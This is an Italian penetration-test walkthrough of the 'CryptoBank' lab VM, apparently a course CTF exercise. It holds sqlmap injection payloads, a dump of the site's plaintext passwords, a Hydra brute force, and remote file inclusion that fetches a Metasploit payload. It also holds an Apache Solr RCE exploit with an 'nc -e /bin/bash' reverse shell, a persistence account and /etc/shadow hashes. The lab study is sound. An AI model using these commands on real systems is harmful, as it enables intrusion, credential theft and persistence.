

## CryptoBank PenTest Report

Iniziamo con un ping sweep per trovare l'IP della macchina virtuale, che per esclusione è la 192.168.1.5

```
(kali@kali)-[~]  
$ fping -asgq 192.168.1.0/24  
192.168.1.1  
192.168.1.3  
192.168.1.5  
192.168.1.9
```

Proseguiamo con uno scan usando Nmap da cui troviamo aperte la porta 22 e la 80, indicando la presenza del servizio SSH e di un Web Server attivo

```
(kali@kali)-[~]  
$ nmap 192.168.1.5 -A  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-06 21:45 CEST  
Nmap scan report for cryptobank.local (192.168.1.5)  
Host is up (0.00024s latency).  
Not shown: 998 closed tcp ports (conn-refused)  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:  
|   2048 7f:4e:59:df:b7:55:49:cf:d3:12:2d:19:01:05:43:f7 (RSA)  
|   256 5e:1b:37:98:ab:c7:e6:ee:5f:f8:df:43:14:de:28:4e (ECDSA)  
|_  256 8e:a9:90:9f:6e:51:b1:c7:26:ea:07:ac:69:28:b3:1c (ED25519)  
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))  
|_ http-title: CryptoBank  
|_ http-server-header: Apache/2.4.29 (Ubuntu)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Per accedere al sito inseriamo l'IP e l'indirizzo dell'host virtuale nel file hosts

```
GNU nano 7.2  
127.0.0.1 localhost  
127.0.1.1 kali  
192.168.1.5 cryptobank.local
```

Visitando il sito procediamo con una prima enumerazione degli username del team basandoci sulle loro mail



Cliccando su Secure Login ci spostiamo all'indirizzo <http://cryptobank.local/trade/index.php> dove troviamo un form di login.

A screenshot of a login form titled "Secure Login" with a padlock icon. The form has a dark grey background. It contains two white input fields: one for "Username:" and one for "Password:". Below the password field is a grey button labeled "Login".

Procediamo a catturare la richiesta di login con Burp Suite e copiarla in un file di testo che useremo successivamente per testare il form per possibili SQLi

```
POST /trade/login_auth.php HTTP/1.1
Host: cryptobank.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://cryptobank.local
Connection: close
Referer: http://cryptobank.local/trade/index.php
Cookie: PHPSESSID=53t2m16qlsuesmherd93d4r04
Upgrade-Insecure-Requests: 1

user=test&pass=test&login=Login
```

Usando SQLmap andiamo a testare il login scoprendo che è vulnerabile a Time Base Blind Injection ed estraiamo i database presenti, uno dei quali salta subito all'occhio, cryptobank

```
(kali@kali)-[~/Desktop/Epicode]
$ sqlmap -r login.txt --dbs --batch

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:01:44 /2024-05-06/

[22:01:44] [INFO] parsing HTTP request from 'login.txt'
[22:01:44] [INFO] resuming back-end DBMS 'mysql'
[22:01:44] [INFO] testing connection to the target URL
got a 302 redirect to 'http://cryptobank.local/trade/index.php'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
--
Parameter: user (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: user=test' AND (SELECT 5819 FROM (SELECT(SLEEP(5)))gqFq) AND 'PoZi'='PoZi6pass=test&login=Login

  Type: UNION query
  Title: Generic UNION query (NULL) - 4 columns
  Payload: user=test' UNION ALL SELECT NULL,CONCAT(0x716a7a7871,0x4861476e5779655749744a68494d7362794a4843494a737154737777634f504e496f497742754463,0x71717a7a71),NULL,NULL-- -8pass=test&login=Login

[22:01:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[22:01:44] [INFO] fetching database names
available databases [5]:
[*] cryptobank
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

[22:01:44] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/cryptobank.local'

[*] ending @ 22:01:44 /2024-05-06/
```

Esaminando quel database troviamo al suo interno tre tabelle, la più interessante è sicuramente quella chiamata accounts

```
[22:03:41] [INFO] fetching tables for database: 'cryptobank'
Database: cryptobank
[3 tables]
+-----+
| accounts |
| comments |
| loans    |
+-----+
```

Selezioniamo quella tabella e troviamo tutti gli account presenti nella WebApp, trovando così la prima Flag

```
[22:05:06] [INFO] fetching columns for table 'accounts' in database 'cryptobank'
[22:05:06] [INFO] fetching entries for table 'accounts' in database 'cryptobank'
Database: cryptobank
Table: accounts
[12 entries]
+-----+-----+-----+-----+
| id_account | balance | password | username |
+-----+-----+-----+-----+
| 1          | 87549   | gFG7pqE5cn | williamdelisle |
| 2          | 34421   | wJWm4CgV26 | juliusthedeveloper |
| 3          | 26321   | 3Nrc2FYJMe | bill.w |
| 4          | 1375    | NqRF4W85yf | johndl33t |
| 5          | 434455  | LxZjkK87nu | mrbitcoin |
| 6          | 8531    | 3mwZd896Me | spongebob |
| 7          | 733456  | 7HwAEChFP9 | dreadpirateroberts |
| 8          | 4324    | 6X7DnLF5pG | deadbeef |
| 9          | 2886    | LnBHvEhmw3 | buzzlightyear |
| 10         | 857     | zm2gBcaxd3 | tim |
| 11         | 1       | x8CRvHqgPp | patric |
| 12        | 777     | 8hPx2Zqn4b | notanirsagent |
+-----+-----+-----+-----+
```

Proseguiamo con un'enumerazione delle directory usando dirb e ne troviamo una chiamata development che salta subito all'occhio

```
(kali@kali)-[~/Desktop/Epicode]
$ dirb http://cryptobank.local/


DIRB v2.22
By The Dark Raver

Network
START_TIME: Mon May 6 22:07:14 2024
URL_BASE: http://cryptobank.local/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

— Scanning URL: http://cryptobank.local/ —
=> DIRECTORY: http://cryptobank.local/assets/
+ http://cryptobank.local/development (CODE:401|SIZE:463)
+ http://cryptobank.local/index.html (CODE:200|SIZE:33527)
+ http://cryptobank.local/info.php (CODE:200|SIZE:86348)
+ http://cryptobank.local/server-status (CODE:403|SIZE:281)
=> DIRECTORY: http://cryptobank.local/trade/
```

Collegandoci a quest'ultima troviamo un altro form di autenticazione



Troviamo le credenziali effettuando un attacco bruteforce con Hydra usando gli username enumerati in precedenza e le password trovate nel database

```
(kali@kali)-[~/Desktop/Epicode]
$ hydra -L user.txt -P pass.txt cryptobank.local -f http-get /development
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-06 22:16:13
[DATA] max 16 tasks per 1 server, overall 16 tasks, 238 login tries (l:17/p:14), ~15 tries per task
[DATA] attacking http-get://cryptobank.local:80/development
[80][http-get] host: cryptobank.local login: julius.b password: wJWm4CgV26
[STATUS] attack finished for cryptobank.local (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-06 22:16:15
```

Queste credenziali ci permettono di enumerare ulteriormente le directory trovando un'altra interessante chiamata Tools

```
(kali㉿kali)-[~/Desktop/Epicode]
$ dirb http://cryptobank.local/development/ -u julius.b:wJWm4CgV26

_____|
DIRB v2.22
By The Dark Raver
_____|

START_TIME: Mon May 6 22:17:43 2024
URL_BASE: http://cryptobank.local/development/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
AUTHORIZATION: julius.b:wJWm4CgV26

_____|

GENERATED WORDS: 4612

--- Scanning URL: http://cryptobank.local/development/ ---
=> DIRECTORY: http://cryptobank.local/development/backups/
+ http://cryptobank.local/development/index.html (CODE:200|SIZE:21)
+ http://cryptobank.local/development/php.ini (CODE:200|SIZE:109)
=> DIRECTORY: http://cryptobank.local/development/tools/
```

In quest'ultima directory troviamo la possibilità di aprire un file che nasconde una vulnerabilità di Remote File Inclusion, usando quest'ultima e un modulo di Metasploit andiamo ad aprire una reverse Meterpreter shell

```
Q cryptobank.local/development/tools/FileInclusion/pages/fetchmeafile.php?file=http://192.168.1.9:8081/lrcqMvbZg18wu82

msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 192.168.1.9:4444
[*] Using URL: http://192.168.1.9:8081/lrcqMvbZg18wu82
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.1.9:8081/lrcqMvbZg18wu82', false, stream_cont
ext_create(['ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]));"
[*] 192.168.1.5 web_delivery - Delivering Payload (1112 bytes)
[*] Sending stage (39927 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.9:4444 -> 192.168.1.5:46112) at 2024-05-06 22:22:19 +0200
```

Una volta dentro leggiamo la flag utente, non richiesta ma comunque presente sul server

```
meterpreter > cd /home/cryptobank
meterpreter > cat flag.txt
flag{l4szl0h4ny3cz1smyh3r0}
```

Usando Meterpreter carichiamo linpeas e avviandolo notiamo dall'output una porta attiva non comune, usata solitamente da Solr

```
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#internal-open-ports
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22             0.0.0.0:*               LISTEN      -
tcp        0      0 172.17.0.1:8983        0.0.0.0:*               LISTEN      -
tcp        0      0 192.168.1.5:46112      192.168.1.9:4444       ESTABLISHED 13604/sh
tcp6       0      0 :::80                  :::*                   LISTEN      -
tcp6       0      0 :::22                  :::*                   LISTEN      -
tcp6       1      0 192.168.1.5:80         192.168.1.9:40046     CLOSE_WAIT  -
udp        0      0 0.0.0.0:5353           0.0.0.0:*               -          -
udp        0      0 127.0.0.53:53          0.0.0.0:*               -          -
udp        0      0 192.168.1.5:68         0.0.0.0:*               -          -
udp6       0      0 :::5353                :::*                   -          -
udp6       0      0 fe80::a00:27ff:fe70:546 :::*                   -          -
```

Apache Solr  
<https://solr.apache.org/guide/about-this-guide>

## About This Guide | Apache Solr Reference Guide 7.3

Hosts and Port Examples. The default port when running Solr is **8983**. The samples, URLs and screenshots in this guide may show different ports, because the ...

Cercando exploit per questo servizio troviamo una Proof of Concept di un Remote Code Execution su Exploit db <https://www.exploit-db.com/exploits/47572>

Dopo averla scaricata e avviata sulla macchina combinandola con netcat otteniamo una shell con utente solr

```
www-data@cryptobank:/tmp$ python3 47572.py 172.17.0.1 8983 "nc -e /bin/bash 192.168.1.9 7777"
< 172.17.0.1 8983 "nc -e /bin/bash 192.168.1.9 7777"
OS Release: Linux, OS Version: 4.15.0-213-generic
if remote exec failed, you should change your command with right os platform

Init node cryptobank Successfully, exec command=nc -e /bin/bash 192.168.1.9 7777
RCE failed @Apache Solr node cryptobank

www-data@cryptobank:/tmp$

(kali@kali)-[~/Desktop/Epicode]
$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [192.168.1.9] from (UNKNOWN) [192.168.1.5] 47916
whoami
solr
```

Usando la password corrispondente all'user col comando sudo su otteniamo i permessi di root

```
python -c 'import pty; pty.spawn("/bin/bash")'
solr@33fa86e6105f:/opt/solr/server$ sudo su
sudo su
[sudo] password for solr: solr
root@33fa86e6105f:/opt/solr-8.1.1/server#
```



Andiamo quindi a leggere la seconda flag fra quelle richieste, quella di Root

```
root@33fa86e6105f:/opt/solr-8.1.1/server# cat /root/flag.txt
cat /root/flag.txt
Good job here our secure cold wallet flag{s4t0sh1n4k4m0t0}
```

Come terza flag creiamo un utente con user e pass epicode:epicode per ottenere persistenza

```
root@33fa86e6105f:/opt/solr-8.1.1/server# adduser epicode
adduser epicode
Adding user `epicode' ...
Adding new group `epicode' (1000) ...
Adding new user `epicode' (1000) with group `epicode' ...
Creating home directory `/home/epicode' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: epicode

Retype new UNIX password: epicode

passwd: password updated successfully
Changing the user information for epicode
Enter the new value, or press ENTER for the default
    Full Name []: epicode
epicode
    Room Number []: epicode
epicode
    Work Phone []: epicode
epicode
    Home Phone []: epicode
epicode
    Other []: epicode
epicode
Is the information correct? [Y/n] y
y
```

Confermiamo la creazione dell'utente e allo stesso tempo otteniamo la quarta flag esaminando il file etc/shadow con dentro tutte le credenziali dell'OS

```
root@33fa86e6105f:/opt/solr-8.1.1/server# cat /etc/shadow
cat /etc/shadow
root:*:18120:0:99999:7:::
daemon:*:18120:0:99999:7:::
bin:*:18120:0:99999:7:::
sys:*:18120:0:99999:7:::
sync:*:18120:0:99999:7:::
games:*:18120:0:99999:7:::
man:*:18120:0:99999:7:::
lp:*:18120:0:99999:7:::
mail:*:18120:0:99999:7:::
news:*:18120:0:99999:7:::
uucp:*:18120:0:99999:7:::
proxy:*:18120:0:99999:7:::
www-data:*:18120:0:99999:7:::
backup:*:18120:0:99999:7:::
list:*:18120:0:99999:7:::
irc:*:18120:0:99999:7:::
gnats:*:18120:0:99999:7:::
nobody:*:18120:0:99999:7:::
_apt:*:18120:0:99999:7:::
solr:$6$abowAyg$3xcEc3SegilK1NUSGtcZqPmvKSoMa6SkLs9v0KOH0LZUJ5xk5asEQ/VMUIPUfSDiR0UmX0zbGNfvfPrk.zbtN0:18368:::::
epicode:$6$XSyjdGUG/PHA4vUn7khAeLLqbcd0qpVadP1Duxwmcd3iUp2J7HrKqpzaGP5AFUSX0aSVsd/RSGLHLwWFOssWRXjWYZX/:19849:0:9
9999:7:::
```